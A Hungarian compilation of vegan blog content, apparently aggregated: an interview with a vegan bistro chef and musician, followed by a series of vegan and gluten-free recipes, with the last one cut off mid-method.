Nos, ez egy etikai – sajnos tartunk ott, hogy ezt a jelzőt hozzá kell tenni – vegán testvériség bisztrója, ami már full-time étterem lett. Próbálok rendkívül demokratikus módszerekkel irányítani, a barátság nagyon fontos alapja a cégnek és a kevés szabadidőnket is együtt töltjük Petivel és Lacival. Gasztronómiai szempontból a legsarkalatosabb pont, hogy az ételeink gluténmentes vegán ételek, amelyek nélkülöznek mindenféle mesterséges kóficot és frissen készülnek korán reggel. De például a hamburger zsömléjét leszámítva minden cukormentes is, olajat is csak a hamburger pogácsája lát és még az az olaj is kókuszból van. Próbáljuk minimalizálni a szemetet, minél környezettudatosabbak lenni, hóviharban is bicajon visszük ki az ebédet lebomló dobozban. Azért télen a bringán néha rezgett a léc rendesen, most pedig jön a következő nehézség, a betonforró 40-45 fok. De egy vegán előtt nem létezik lehetetlen.
Az Elixir másik talppontja a közösségi konyha modellje. Sok étteremnél láttam azt kiírva, elmondva, hogy mennyire fontosak a vevők, csak ebből éppen érezni nem lehetett sokat. Mivel már untatott az ipari mennyiségű étkek gyártása napi 500+ adagos konyhafőnökként, arra vágytam, hogy több embert megismerhessek, és akár beszélgethessek velük egy ebéd mellett. Így fogtam magam, felmondtam és megalapítottam a saját helyem, ahol valóban fontos mindenki, ezért is vannak közösségi események, például önköltséges bográcsos parti – ahol legutóbb 150 ember számára készítettem vacsorát a Városligetben. Emellett főztem rászorulóknak, szokott lenni közös bicajozás és ott van az “Elixir menni random valakihez” program. Nagyon fontos számomra, hogy figyelem és törődés is társuljon ehhez az egészhez. Engem rendkívül motivál az Elixires közönség, akikékert ezt az egészet teszem. Ha nem így lenne, akkor már rég bezártam volna és elköltöztem volna az országból. Megszámlálhatatlanul sok kedves embert ismertem meg, több megrendelőnk azóta haverom, némelyik mondhatni barátom lett és sosem éreztem jobban a munkám, mint most az Auróra közösségi házban, ahova nemrégiben költözött a bisztró. De nem mulasztok el egyetlen alkalmat sem az állati jogokról, valamint az egészséges táplálkozás előnyeiről beszélni és valahogy a legtöbben fogékonyak ezekre. Szóval számomra az az abszolút cél, hogy egy nagyobb közösség alakuljon ki a vegánság alapelvein támaszkodva és minél több jó élményünk legyen együtt. Ez az Elixir.
“Elixir menni random valakihez” – mesélj erről a projectről kicsit.
Nem olyan régen jelentettem be az elsőt. A lényege az, hogy a projectnek dedikált facebookos eseménynál kell jelölni, hogy “jössz”. A csavar az egészben az, hogy nem jössz te sehova, hanem én megyek hozzád. Egy random generator program segítségével kisorsolok az attendelők közül egy nyertest, akihez elbicajozok, majd együtt sütünk-főzünk valamit abból, amit találunk a lakásban. Pár barátom azzal viccelődött, hogy már az első alkalommal egy szép lányhoz mentem és meg van bundázva az egész, de ez aljas rágalom. Az érdeklődők jelölnek, a program sorsol. “HALLOD, VIKTOR? ALJAS RÁGALOM.”
Ha valaki bemenne az Elixirbe és azt kérdezné melyik általad kreált étel mutatja be legjobban szavak nélkül azt aki vagy, melyik ételt tennéd elé?
Most feladtad a leckét. Talán egy intenzív, színes, valószínűleg thai zöldségragu lenne bőven megszórva zöldekkel, mogyoróval, csírával, barna rizzsel. Mivel naponta változik a menü és tizenfajta finomságot csinálok sokszor ad hoc jelleggel, így nehéz választani, de most, ebben a pillanatban ez jutott eszembe.
Mióta növeszted a hajad és milyen hosszúság a cél?
Erre a kérdésre nem számítottam, Gyuri. Itt nevetek a gép mögött. Igazából nem is növesztem, egyszerűen csak nem jutottam el egy ideje fodrászhoz. A nagy meleg miatt gondolkodom rajta, hogy sokkal rövidebb legyen, mert egyrészről utálok a konyhában sapkában dolgozni meg azt se szeretem, ha fel kell kötnöm a hajam. Szóval fogalmam sincs, mit fogok csinálni a fejemmel, viszont amikor legutóbb változtattam az arcberendezésemen – elhagytam a bajszom -, az némi túlzással közfelháborodást váltott ki, szóval meg kell gondolni minden lépésemet, nehogy elsodorjon a népharag.
Vegán séf és zenész is vagy. Mesélj a zenekarodról. Hogy van időd még zenélni is? Most jött ki az új albumutok. Definiáld a stílusát.
Néha magam sem tudom, hogy tudok ennyi mindenre időt szakítani, de úgy vagyok vele, ha valamit meg akarsz csinálni, azt nagy eséllyel meg is fogod. A zenekarom neve Libido Wins és atmoszférikus post-hardcore/screamo stílus lenne az a fura katyvasz, ha mindenképpen definiálnom kell. Nagyon depresszív, költői, néhol nagyon zajos, de hipermelodikus, tele van fura váltásokkal és sok helyen nyúlunk zongorához is. Van benne rengeteg punk, indie, emo, post-rock hatás is, de volt, ahol freejazz-t kevertünk bele. A már készülő, talán még idén megjelenő EP-n pedig lesz némi country és latin íz is itt-ott spoken word-del fűszerezve. Egyébként tizenéves barátság az alapja a bandának, voltunk turnézni többször más országokban is, kiadták a dolgainkat, játszottunk hajón, próbateremben, foglalt házban, nappaliban, gördeszkapályán, pincében, nagy klubban és kicsiben is. Volt pár év szünet most, majd hirtelen visszatértünk egy nagylemezzel, amely hatalmasat tarolt eddig. Stílusában globális szinten a Bandcamp oldalon top 3-ban volt, itthon is rengeteg pozitív visszajelzés érkezett. Nekem ez a fura kis banda életem szerelme a bicajozáson kívül. Alig várom, hogy ismét mehessünk turnézni, már nyárra és őszre le van kötve pár dátum, plusz 2017-re is szervezünk ezt-azt. Nehéz megoldani a próbákat, mert Laci, a gitárosunk - aki egyébként egy klasszikus vájtfülű, kissé elvesztegetett tehetség, bármilyen hangszerhez nyúl, ahhoz ért - három műszakban dolgozik vidéken, de örömünket leljük abban, hogy együtt lehetünk, akkor pedig pláne, ha mondjuk máshol szétzajonghatjuk az emberek lelkét.
Bianchi. Mit jelent ez a szó neked?
Precizitást, minőséget, sebességet, esztétikát, szabadságot.
Kérlek, foglald össze 1 mondatban a veganizmus alapeszméjét.
Az a jogi, filozófiai alapvetés és erkölcsi minimum, miszerint nem használunk (ki) állatokat önös érdekből, sem étkezés, sem szórakozás, sem öltözködés, sem kísérletek, sem bármilyen más célból.
Köszönöm az interjút!
Narancsos vegán piskóta
Végy 6 tojást. Ismerős? Általában minden piskóta recept így kezdődik... és így folytatódik: adj hozzá 6 evőkanál cukrot. Nos, és jócskán megreformáltam, mert sem tojás, sem kristálycukor nincs benne. Folytatva a sort, még a lisztet is kicseréltem benne. Ez a piskóta remek tortákhoz, de akár gyümölcsös pite alapja is lehet. Bátran próbáld ki, nem fogsz csalódni benne. Hozzávalók: - 18 dkg teljes kiőrlésű tönkölyliszt - 7 dkg fehér tönkölyliszt - 8 dkg kókuszvirágcukor - 6 evőkanál olvasztott kókuszolaj - 1 teáskanál szódabikarbóna - 1 csomag foszfátmentes sütőpor - 2,5 dl rizstej (vagy más növényi tej) - 25-30 ml narancs leve (ez kb. 1/2 narancs leve) - 1/2 mokkáskanál vaníliapor - 6-8 csepp narancsolaj Elkészítése: - A liszthez keverd a cukrot, a szódabikarbónát, a sütőport és a vaníliapor. - Öntsd hozzá a tejet és a kókuszolajat. - A narancslé és a narancsolaj is belekerülhet. - Jól dolgozd össze. - Kiolajozott tortaformában süsd ki. (Előmelegített sütőben, 180 fokon)22 vagy 28 cm formában 25-30 perc alatt elkészül. Tűpróbával ellenőrizd, hogy rendesen megsült-e a közepe. Mielőtt felvágod, hagyd teljesen kihűlni. Sütés előtt megszórhatod magozott meggyel, cseresznyével, szilvával vagy akár barackkal is. Remek gyümölcsös pite lesz belőle.
Padlizsános lecsó avagy kenőke olaszosan
Szeretem a hagyományos, magyar lecsót, amelyben csak hagyma, paprika és paradicsom van. Mivel a hűtőmben árválkodott egy szép duci padlizsán, így nem volt más választásom, ez is belekerült ebbe a lecsóba. :) Eheted rizzsel, főzelékkel vagy akár csak kenyérrel is, de ha összeturmixolod, kenőke lesz belőle. Hozzávalók: - 1 evőkanál kókuszolaj - 1 nagy vöröshagyma - 3-4 gerezd fokhagyma - 1/2 piros paprika - 1/2 zöld paprika - 4 közepes paradicsom (turmixolva) - kevés víz - himalája só, bors, chili, bazsalikom, rozmaring Elkészítése: A vékony szeletekre vágott hagymát az olaj-víz keverékében megpárolom/pirítom.Hozzáadom az ugyancsak kis szeletekre vágott paprikát, a padlizsánt, és belereszelem a fokhagymát is. Úgy 8-10 perc elteltével a paradicsompüré is belekerülhet.Fűszerezem, addig sütöm együtt, amíg a lecsó besűrűsödik. Ha kenőkének szeretnéd enni, akkor egyszerűen botmixerezd össze.
Gluténmentes zöldségfasírt sütőben sütve
2016. május 30. Élj harmóniában
Gluténmentes zöldségfasírt sütőben sütvenemrégen közzé tettem egy rántásmentes sárgaborsófőzeléket (itt olvashatod) és ígértem, amit készítettem hozzá a zöldségfasírtom annak a receptjét is felrakom majd a blogra.Ennek is eljött az ideje:) A zöldségfasírt nagyon népszerű még azok körében is, akik amúgy nem nagyon kedvelik a zöldséges ételeket. Lévén nem érzékelhető a zöldség állaga és jó fűszerezéssel fantasztikus ízhatásokat lehet elérni. Nem nagyon szeretek kisült ételeket készíteni, mert sok a macera a ghíben, vagy más zsiradékban sütéssel - fröcsköl, ott kell mellette állni, egyfajta szaggal jár, etc. Ezért amit csak lehet, én inkább a sütőben készítek el, tisztább, szagmentesebb és nekem is egyszerűbb, időt takarítok meg:) Mindemellett kevesebb zsiradékot tartalmaz az így készített zöldségfasírt. Ez a fasírt nagyon egyszerű és finom - a fűszerezést kedvedre tudod váltogatni magyaros, indiai, olaszos, etc. kombinációkkal. Én reggelire is szoktam készíteni vagy valamilyen körettel, zöldségekkel kiváló ebédnek vagy vacsorának, jó kirándulásokra útravalónak is. Hozzávalók 2 szál sárgarépa 2 kisebb cukkini 1 2 nagy ek. Zabpehely (gluténmentes diétánál gluténmentes zabpehely ) 12 nagy ek. csicseriborsóliszt 10 ek. víz 2 ek. ghí (kókuszzsírt vagy bármilyen zsiradékot használhatsz helyette) egy csipet aszafoetida ( egy kis apróra vágott hagymával tudod helyettesíteni) só bors kurkuma petrezselyem Vegyszermentes (bio) alapanyagokat használj! A répát és a cukkinit mosd meg és reszeld le vagy aprító géppel vágd apróra. A zöldségekhez keverd hozzá a zab pelyhet és a csicseriborsólisztet, majd ghít és a fűszereket is. Végül tedd hozzá a vizet és hagyd állni néhány percig. Vegyél a kezedbe kis adagokat és formázz belőlük fasírtot. Helyezd a fasírtokat egy sütőpapírral bélelt tepsire és 180-200 fokra előmelegített sütő ben süsd készre. (kb. 30-40 perc) .
Paprikás hummus, azaz csicseriborsókrém recept – vegán
A hummusz azért jó, mert a fő hozzávalói nem romlandóak, simán be lehet tárazni belőlük, és ráadásul jól variálható étel. Ha mindig tartasz otthon két konzerv csicseriborsót (vagy egy nagyot), akkor bármikor rögtönözhetsz egy fincsi mártogatóst, vagy szendvicskrémet. A hagyományos receptben a csicseriborsón kívül tahini (szezámkrém), citromlé, bors, római kömény, só és olívaolaj van. Ezek közül néhányat most kihagytam, és egy másik ízvilágot alkottam meg. Hozzávalók (nagy adag): 2 konzerv csicseriborsó 1 gerezd fokhagyma 3 nagy evőkanál ajvár (édeskés szendvicskrém paprikából, nem keverendő az Erős Pistával vagy az Édes Annával) 1 evőkanál Édes Anna, vagy más, sós paprikakrém koriandermag római kömény növényi olaj (napraforgó-, szezámmag-, olvasztott kókusz- vagy olívaolaj, opcionális) A két konzervet kinyitjuk, és leöntjük a levét egy tálba. Fontos, hogy ne öntsd ki, mert ezzel a lével fogjuk beállítani a krémességet. A hozzávalókat és kb. fél deci csicseriborsólevet egy tálba teszünk és botmixer segítségével elkezdjük szétdolgozni. Itt már lehet látni, mennyire sűrű a krém. Én körülbelül arckrém sűrűségűen szeretem, ilyenkor jól kenhető, tunkolható, és finom a textúrája a szájban. Ha hígabbra készítjük, saláta tetejére is tehetjük öntetként. Ha mártogatjuk, cuki tálkákban tálaljuk, friss fűszerrel, például korianderrel meghinthetjük a tetejét. Vigyázat, sokan utálják a koriander levelét, így ha vendégeket várunk, talán nem ez a legjobb választás. A bazsalikom és a snidling is jól passzol hozzá. Gyárthatunk miniszendvicseket is, vállalkozó kedvűek még tésztaszószként is kipróbálhatják. The post Paprikás hummus, azaz csicseriborsókrém recept – vegán appeared first on VegaNinja.
Különleges konzervkenyér
Különleges a mérete és az íze miatt is. Mérete meglehetősen nagy, hiszen a sütőforma egy óriás-konzervdoboz volt, amiben előtte magozott fekete olívabogyók voltak. Készült is bőven olívás recept a korábbiakban (itt, itt, és itt olvasható), s még nem is írtam le mindegyiket. Nagyságának köszönhetően közel 2 kilós kenyér lett belőle. Emellett íze is különleges, a tészta egyik részébe őrölt fűszerpaprikát szórtam/gyúrtam, így készült el.
A recept
Hozzávalók:
- 3,5 dkg friss élesztő
- 4,5 dl meleg víz
- 30 dkg teljes kiőrlésű liszt
- 45 dkg fehér liszt (BL-55)
- 10 dkg őrölt zabpehely
- 2-3 evőkanál olaj
- 1,4 dkg só
- piros fűszerpaprika (opcionális)
- kókuszzsír
Elkészítés:
Fogunk egy nagyobb tálat, az élesztőt belemorzsoljuk és felöntjük a kézmeleg vízzel. Várunk míg feloldódik az élesztő a vízben. Hozzászórjuk a liszteket, az őrölt zabpelyhet, a sót, s végül az olajat. Kezünkkel átgyúrjuk, átdagasztjuk. Ha úgy látjuk, hogy túlságosan ragacsos a tészta, folyton a kezünkhöz ragad, kevés lisztet szórunk rá. Ha viszont kemény, nehezen gyúrható a tészta, akkor kevés vízzel lazítjuk. Amikor úgy átdagasztottuk, hogy a tészta elválik az edény falától, akkor az edény alját, oldalát megszórjuk kevés liszttel, beletesszük a tésztát, a tetejére egy kevés lisztet szórunk és konyharuhával letakarva meleg helyen kb. 30 percet kelesztjük. Amikor kb. a duplájára kelt, egy részt leszakítunk belőle, amihez hozzászórjuk a paprikát, s újra átdagasztjuk vele, míg szép piros színe lesz a nyers tésztának.
A kimosott konzervet belülről kikenjük kókuszzsírral, megszórjuk kevés liszttel. A piros és fehér tésztát egymás mellé belehelyezzük a konzervbe, majd ismét letakarva kelesztjük, végül sütőbe tesszük, megsütjük kb. 30-40 perc alatt. Nagy mérete miatt a konzervből kiszedve tepsibe állítottam és még sütöttem rajta 5-10 percet, hogy a héja ropogósabb legyen.
Kiszedésnél egy nagy késsel óvatosan körbejártam a konzerv falát, (fa)deszkára borítottam, majd egyszerűen kicsi ütögetésre kihuppant a kenyér. Miután visszatettük így a sütőbe, hogy a héja ropogósabb, szikkadtabb legyen, a sütés után jobb megvárni míg kihűl. Férjem a munkahelyére ebből készült szendvicseket vitt. Nézték, hogy milyen különleges félkör (ha a szeleteket félbevágjuk) és nagy kör alakú szendvicsei vannak.
Ha nincs otthon ilyen nagy konzervünk, illetve nem tudnánk megenni ennyi babot/olívabogyót, nem probléma, kisebb konzervekkel is dolgozhatunk. Erről már írtam korábban: Rusztikus kalózkenyér vagy ha gluténmentesen szeretnénk: gluténmentes kalózkenyér.
Ne felejtsük el, hogy egy ilyen kenyér szépen becsomagolva akár gasztro-ajándék is lehet.
Nyers epres “sajttorta” (vegán)
2016. május 27. Zizi kalandjai
Ennek a nyers tortának a receptjét tavaly “raktam össze” a Food Revoltion Day alkalmából tartott örömfőzésre (láthattok is abban a bejegyzésben már két fotót a tortáról). Persze egészben nem lett a torta lefotózva, így gondoltam, hogy a receptjének megosztásával várok addig, amíg lesz egy normális, természetes fényviszonyok között készült képem róla. Hát egy év telt el mire ez megtörtént!
Múlt vasárnap a Pipacs Pékség Biodiverzitás napot rendezett… volt tészta gyúrás, formázás, pizzasütés kicsikkel és nagyokkal, falatozás, saláta, süti, limonádé, gyümölcsök, labda után rohangálás, jó hangulat, zene, kuncogás. Jó emberek egy helyen, gasztronómia, fiatalok tanítása, ezek mind-mind ugyanúgy beleillenek a food revolution tematikájába… akár ennek szellemében is folyhattak az események.
Ezen alkalomra készítettem el újra Ádi segítségével a nyers epres tortát, amely igen nagy sikert aratott a vendégek körében. Ádi élvezte, hogy segíthetett, meg persze nem maradhatott el a kóstolás sem, mindig ő ellenőrizte, hogy elég édes-e, elég finom-e a torta. Minden egyes kóstolás után megjegyezte: “Húúú, de finooom!”
Tényleg az. És villámgyorsan elkészül. Mindent bedobálunk a késes robotgépbe, aztán belenyomkodjuk/beleöntjük a “tésztát”, “krémet” a kapcsos formába, irány a mélyhűtő és már készen is van. Mi pénteken csináltuk meg a tortát, vasárnap indulás előtt vettük ki a mélyhűtőből. Kb. egy óra kellett, amíg szeletelhető állapotra olvadt. Lime-mal, vaníliával fűszereztük, zöld kivivel díszítettük, mert ez jól passzol a rózsaszín krémhez. Igazi rózsaszín csajos torta. Persze az íze a fiúkat is lenyűgözte!
Marci és Ádám bemutatják a tészta osztást és formázást…
Köszi Linda és Levi a türelmet!
Huncutkák!
Nyers epres ,,sajttorta (vegán)
Hozzávalók 5-6 főre (18 cm-es kapcsos formához):
Torta alaphoz:
– 155 g mandula
– 165 g friss datolya, kimagozva (aszalt is jó, csak érdemes használat előtt egy fél órára langyos vízbe beáztatni, hogy könnyebben aprítsa a robotgép)
– 2 teáskanál kókuszolaj
– 1/2 teáskanál Himalaya só
Krémhez:
– 285 g kesudió, beáztatva legalább 4-5 órára
– 170 g friss (vagy fagyasztott) eper, megtisztítva
– 100 ml juharszirup vagy rizsszirup vagy agavészirup
– 80 ml kókuszolaj
– 2 db lime reszelt héja és frissen facsart leve
– 1 db vaníliarúd kikapart magjai
– 1 db kivi, meghámozva, díszítéshez (opcionális)
A mandulát, a datolyát, a két teáskanál kókuszolajat és a sót tegyük konyhai robotgépbe és aprítsuk kis darabosra (utána a robotgép tálját mossuk el). Akkor jó, ha kiveszünk belőle egy kis mennyiséget és összegyúrva összeragad. Egy kapcsos tortaformát teljesen béleljünk ki folpackkal és nyomkodjuk az aljába a datolyás alapot (eléggé ragad a datolya miatt). Tegyük hűtőbe.
A krém elkészítéséhez szűrjük le a vizet a kesudióról. Tegyük a kesudiót a kifacsart lime levével és héjával a robotgépbe és kezdjük el pürésíteni. Szép lassan adagoljuk hozzá a juharszirupot, a kókuszolajat és a vaníliát is. Ha már jó krémes állagú, akkor adjuk hozzá az epret és ezzel együtt is pürésítjük. Öntsük az alapra az epres krémet és tegyük a fagyasztóba néhány órára, amíg megszilárdul, szeletelhetővé válik, de nem túl kemény.
Tipp : hámozzunk meg egy kivit, vágjuk vékony szeletekre, majd a szeleteket félbe és tegyük (tapasszuk) a kapcsos forma oldalához az alapra. Az epres réteget így tegyük bele.
Pirított rizs spárgával és répával (vegán)
2016. május 20. Zizi kalandjai
Fried rice = pirított rizs… végtelen lehetőség egyetlen ételben. A kínaiak kedvelt étele világszerte népszerű… főtt (ők gőzöltnek hívják) rizsből áll, amit összepirítanak zöldségekkel (+ tojással, esetleg hússal) wokban.
Néhány hete az egyik kedvenc ételünk… hetente egyszer legalább megcsinálom. Bármilyen zöldséggel kiváló, ami éppen szezonális. Én most zöldspárgát és sárgarépát használtam. De mehet bele brokkoli, padlizsán, karfiol, sütőtök, a fehérje növelésére pedig még tofu is. Az i-re a pontot az ízesítés teszi fel, én tamarit (gluténmentes szójaszószt), pirított szezámolajat és frissen facsart citromlevet használtam. Mennyei! Próbáljátok ki!
Pirított rizs spárgával és répával (vegán)
Hozzávalók 2-3 főre:
– 1 csomag (500 g) zöldspárga, fás részek letörve és maga a friss rész kisebb darabokra vágva
– 3 db közepes répa, meghámozva, vékonyan felszeletelve
– 1 fej lilahagyma/vöröshagyma, megpucolva, felaprítva
– 2-3 gerezd fokhagyma, megpucolva, felaprítva
– 2 cm-es gyömbér darab, meghámozva, lereszelve
– 4 evőkanál tamari (gluténmentes szójaszósz)
– 2 evőkanál pirított szezámolaj
– 1-2 evőkanál kókuszzsír
– 1/2 citrom frissen facsart leve
– 1 bögre barnarizs
– tálaláshoz: 1-2 újhagyma, zöld része felaprítva
Egy lábasban közepes láng felett főzzük meg a barnarizst kettő vagy kettő és félszeres sós vízben. Tegyük félre.
Egy wokot/serpenyőt hevítsünk fel magas láng felett, adjuk hozzá a kókuszzsírt, a lilahagymát és pirítsuk két percig. Ekkor dobjuk hozzá a fokhagymát, gyömbért, további pirítás két percig, majd jöhet bele a sárgarépa. Öt perc pirítás és jöhet a spárga. Főzzük addig, amíg a zöldségek puhára főnek, de még roppanósak maradnak. Ekkor adjuk hozzá a főtt barnarizst, pirítsuk két-három percig és keverjük hozzá a tamarit, a szezámolajat és a citromlevet.
Tálaljuk azonnal citromgerezddel és az aprított újhagyma zöldjével.
“Sajtkrémes” fusilli párolt fokhagymás spenóttal (vegán)
2016. május 15. Zizi kalandjai
Apró örömök egy anya életében: amikor is két nap kimenőt kap egy héten! Juhúúúú! Az egyik a héten szerdán volt, amikor egy barátnőmmel és persze Ákossal a mellkasomra csatolva elmentünk a Sirha Budapest Élelmiszeripari Szakkiállításra, majd benéztünk a Bocuse d’Or európai döntőjébe is. Hatalmas gratuláció a gasztrotörténelmet író nyertes Széll Tamásnak és csapatának (Szabó Kevin commis, Vomberg Frigyes coach, Szulló Szabina elnök), valamint mindazoknak, akik ennek az eseménynek ilyen minőségű létrejöttében és levezénylésében részt vettek. Köszönet Mautner Zsófinak és Jókuti Andrásnak a kétnyelvű, csodás, jó hangulatú műsorvezetésért!
A másik kimenő pedig pénteken reggel volt, amikor eljutottam fodrászhoz és vágatni tudtam végre egy keveset a hajamból, ami iszonyat módon hullik a szoptatás és a hormonváltozás miatt. A vágatásnak köszönhetően frissült az egész fejem, de nagyon kis soványka a haj mennyiségem! Ádi szoptatásakor is nagyon kihullott a hajam, majd szépen újra megerősödött és egész dús lett megint. Most meg alig merem megmosni és megfésülni, mert olyan mennyiség kijön egy-egy alkalommal, hogy rossz nézni. A kihullott mennyiségből egy kisebb parókát már lehetne gyártani. Igyekszem vitaminokkal felturbózni a szervezetemet és pozitívan állni a dologhoz, mert az übercuki, csodaszép Ákos szoptatása még ezt a hajhullást is megéri! És minden bizonnyal meg fog megint állni, majd elkezdenek a kis bébi hajszálacskák kibújni, megnőni, megerősödni és bedúsulni. Ha valakinek van valami tuti tippje a hajhullás megállítására, az ne habozzon megosztani velem!
Na de nézzük ezt a tészta ételt! A híres amerikai mac ‘n’ cheese egyik újabb változata sütés nélkül (két másikat találtok itt és itt). Ez a leggyorsabb… amíg megfő a tészta, elkészül a szósz is hozzá (el nem fogjátok hinni, hogy miből ). Én párolt fokhagymás spenóttal tálaltam, de bármilyen zöldköret jó hozzá, akár spárga, zöldborsó vagy friss saláta is megteszi. Villámgyors anyukabarát kaja hétköznap ebédre vagy könnyed családi vacsorára.
“Sajtkrémes” fusilli párolt fokhagymás spenóttal (vegán)
(Recept inspiráció: Daily Garnish)
Hozzávalók 4 főre:
– 1/2 bögre csicseriborsó liszt
– 1/2 bögre sörélesztő pehely
– 2 bögre víz
– 2 evőkanál kókuszzsír vagy jó minőségű bio margarin + egy kevés a fokhagyma pirításához
– 2-3 gerezd fokhagyma, meghámozva, felaprítva
– 1/2 teáskanál dijoni mustár
– só, bors
– kb. 440 g tészta
(A recepthez használt bögre 250 ml-es.)
Egy lábasban hevítsünk közepes láng felett egy evőkanál kókuszzsírt. Dobjuk rá a felaprított fokhagymát, dinszteljük két-három percig, majd vegyük le a tűzről. Adjuk hozzá a csicseriborsó lisztet, a sörélesztő pelyhet, sózzuk és borsozzuk.
Egy másik lábasban olvasszuk fel a két evőkanál kókuszzsírt vagy margarint, tűzhelyről levéve öntsük hozzá a vizet. Lassan adagolva öntsük a folyadékot (margarin + víz) a csicseriborsós száraz keverékhez, közben folyamatosan kevergessük, hogy csomómentes legyen. Tegyük vissza a tűzhelyre és folyamatos kevergetés mellett adjuk hozzá a mustárt és hagyjuk besűrűsödni a szószt. Ízesítsük sóval és borssal. Ha túl sűrűnek találjuk, adjunk még hozzá egy kevés vizet.
Egy másik lábasban főzzük meg a tésztát a csomagoláson található utasítás szerint. Szűrjük le és öntsük rá a szószt. Tálaljuk azonnal valamilyen zöldkörettel.
Variációk chiapudingra: egészséges alternatívák bűntudat nélkül
A chiamag szinte berobbant a köztudatba. Már elég sok helyen lehet vásárolni, de azért érdemes bio minőséget beszerezni. Miért is szeretjük ennyire ezt az apró magocskát? Remek tápanyagforrás, kiváló forrása az esszenciális zsírsavaknak, optimális az omega 3-6 aránya. Oldható és oldhatatlan rostok gazdag forrása. Tartalmaz kalciumot, foszfort, cinket, mangánt, molibdént, bórt, niacint, B12-vitamint és folsavat is. Jelentős mennyiségű fehérje található, 100 gr-ban 16 g. Az oldhatatlan rostok miatt lassan emésztjük meg, így alacsonyan tartja az inzulin szükségletünket, emésztésjavító hatása van és a tápanyagoknak is van idejük felszívódni. Ez a piciny magocska a tömegének 10-12x-esét képes magába szívni. Tehát 1 dkg mag kb. 1 dl vizet zselésít. Mindig duzzadt állapotban adjuk a gyerekünknek, ezért előtte minimum fél órára áztassuk be. Kerülhet kásába, turmixba, süteményekbe, kekszekbe is belesüthetjük. Vegánoknak remek tojáspótló. 1 evőkanál darált chiamag 3 evőkanál vízben áztatva bezselésedik, süteményekben ez használható tojás helyett. A hozzátáplálás során 1 éves kortól babák is kaphatják. Nézzük a chiapuding alapreceptjét: - 6 dl kókusztej - 5 puha datolya - 1 banán - 5 evőkanál chiamag - vaníliapor vagy fahéj Hogyan készítsünk belőle pudingot? A datolyát áztasd be a kókusztejbe. Kb. 15-20 perc elteltével, a banánnal és a fűszerrel együtt turmixold krémesre. Add hozzá a chiamagot és tedd be a hűtőbe néhány órára (akár egész éjszakára). Ha kellően puding állaga lett, akkor rétegezd gyümölccsel vagy keverd hozzá tetszés szerint a gyümölcsöt, kakaóport vagy a magkrémet. Variációk kedvünk szerint: Eperréteges chiapuding Áfonyás chiapuding Csokis-őszibarackos chiapuding Csokoládés-narancsos chiapuding Chia reggeli A lehetőségek végtelenek. Lehet még mogyorókrémes, lucumás, gojis, málnás vagy éppen baracklekváros. Rétegezheted a gyümölccsel vagy összekevered vele, így is, úgy is finom. Ha nem szereted a chiamag szemcsés állagát, akkor daráld meg, és a chiaport tedd a tejbe. Természetesen a tejet is variálhatod, ha neked pl. a rizstej a kedvenced, akkor azzal készítsd el. Az édesítésre a datolyát használtam, de jó hozzá a méz vagy éppen a juharszirup is.
Quinoás müzliszelet csokiöntettel
Valami édességre vágytak a lányaim. Ilyenkor szétnézek a kamra mélyén, hogy milyen alapanyagokat tudnék felhasználni. Igazán finom müzli lett belőle, bár legközelebb teszek bele úgy 2 evőkanál darált arany lenmagot. De egy reszelt almával is megér egy próbát. :) A hűtőben jó az állaga, de szobahőmérsékleten kicsit morzsálódik. De csak ennyi baj legyen... így is elfogyott. :) Hozzávalók: - 20 dkg aprószemű zabpehely - 5 dkg zabliszt - csipet himalája só - 1/2 mokkáskanál vaníliapor (vagy fél rúd vanília kikapart belseje) - 10 dkg datolya - 1 banán - 10 dkg kókuszolaj - 10 dkg dió - 4 dkg puffasztott quinoa - 1/2 bio narancs reszelt héja (vagy 4-5 csepp narancsolaj) - 1 kisebb narancs leve Csokiöntet - nyers csokijó krémesre darált kesudió (vagy 1 evőkanál kesudiókrém), de mogyorókrémmel is el tudom képzelni :) Elkészítése: Először is melegítsük elő a sütőt, úgy 180C fokra. Egy tálban keverjük össze a zabpelyhet, a lisztet, a sót és a vaníliát.Tegyük aprítógépbe a puha datolyát, a banánt és az olvasztott kókuszzsírt. Nyomjuk bele a narancs levét is. Pürésítsük simára. Öntsük ezt a keveréket a száraz hozzávalókhoz. Adjuk hozzá a durvára tört diót és puffasztott quinoát. Reszeljük bele a narancs héját is.Jól keverjük el. Öntsük bele a müzli keveréket a sütőformába, majd kézzel alaposan nyomkodjuk bele. Süssük 180C fokon 20-25 percig, amíg aranybarna lesz a teteje, a széle kicsit megpirul.Ha kihűlt, kenjük rá a kesudiós csokit.
Vegán csokoládétorta sütés nélkül
Gondolkoztál már azon mennyivel könnyebb lenne úgy nekiesni egy csokoládétortának, hogy tudod, utána biztosan nem lesz bűntudatod? Ilyen a vegán csokoládétorta.
Olyan, amiből sokat ehetsz, mégse hízol, ami egészséges és még szuper finom is!
Ha engem kérdezel, én régebben mindig is egy ilyen tortáról álmodoztam. Tudom egy kicsit fanatikus vagyok, de szerintem sokan vagyunk ezzel így, akik szeretik az igazán finom csokit. A jó hír az, hogy létezik ez a vegán csokoládétorta és a legnagyobb örömmel osztom meg most veled a receptjét, hogy te is részesülhess ebben a csodában, ha csak pár percig is (Nálunk legalábbis eddig tartott). Egy torta mely testnek és léleknek egyaránt jót tesz, a szó legszorosabb értelmében.
Készítsétek, fogyasszátok, élvezzétek!
Vegán csokoládétorta hozzávalók
Vegán csokoládétorta tortaalap:
100 g kimagozott datolya
85 g mandula
25 g kókuszreszelék
1 ek. kakaópor
csipet só
Vegán csokoládétorta tortakrém:
85 g kesudió (előző este beáztatva. ha nagyon sietsz, forró vízbe áztasd 1-2 órára)
1 db banán
2-3 ek. juharszirup
2 ek. kakaópor
3 ek. kókuszzsír
1 dl kókusztejszín (magas zsírtartalmú)
125 ml/ fél csésze mogyoróvaj
Vegán csokoládéöntet:
1 ek. kakaópor
1 ek. olvasztott kókuszzsír
1/2 ek. juharszirup
Vegán csokoládétorta elkészítése:
- Áztasd a datolyát kb. 15 percig forró vízbe, míg jól megpuhul. Eközben a mandulát daráld finomra. Add hozzá a megpuhult datolyát, a kakaóport, a sót, a kókuszreszeléket és keverd addig, amíg egy teljesen egynemű masszát kapsz.
- Egy 18 cm-es tortaformát bélelj ki zsírpapírral, majd az aljában egyenletesen terítsd szét a datolyás alapot.
- Egy tálkába öntsd bele a kókuszzsírt, a kókusztejszínt, a kakaóport, a juharszirupot, a mogyoróvajat és habverővel verd könnyű krémmé.
- Egy turmixgépbe öntsd bele a kapott krémet, a kesudiót és a banánt, majd pár percig magas fokozaton turmixold az összetevőket amíg teljesen egyneművé nem válik az csokoládés massza.
